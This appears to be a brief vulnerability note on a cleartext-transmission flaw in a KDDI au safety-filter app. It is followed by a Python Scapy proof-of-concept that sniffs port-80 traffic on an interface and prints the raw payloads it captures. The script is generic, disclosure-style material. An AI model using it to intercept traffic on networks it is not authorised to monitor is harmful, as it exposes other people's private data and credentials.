CVE-2026-41281 KDDI au安全过滤app明文传输漏洞

# Proof of Concept for Cleartext Transmission (CWE-319) # This script demonstrates how to capture unencrypted traffic using Scapy. # Requires root privileges. from scapy.all import * def packet_callback(packet): if packet.haslayer(TCP) and packet.haslayer(Raw): # Filter for HTTP traffic (port 80) which indicates cleartext if packet[TCP].dport == 80 or packet[TCP].sport == 80: print(f"[*] Captured packet from {packet[IP].src}") try: payload = packet[Raw].load.decode('utf-8', errors='ignore') print(f"Payload: {payload}") except Exception as e: print(f"Error decoding payload: {e}") print("-" * 50) # Start sniffing on the network interface print("[*] Starting packet capture for cleartext HTTP traffic...") # Note: Replace 'eth0' with your actual network interface sniff(iface='eth0', prn=packet_callback, store=False)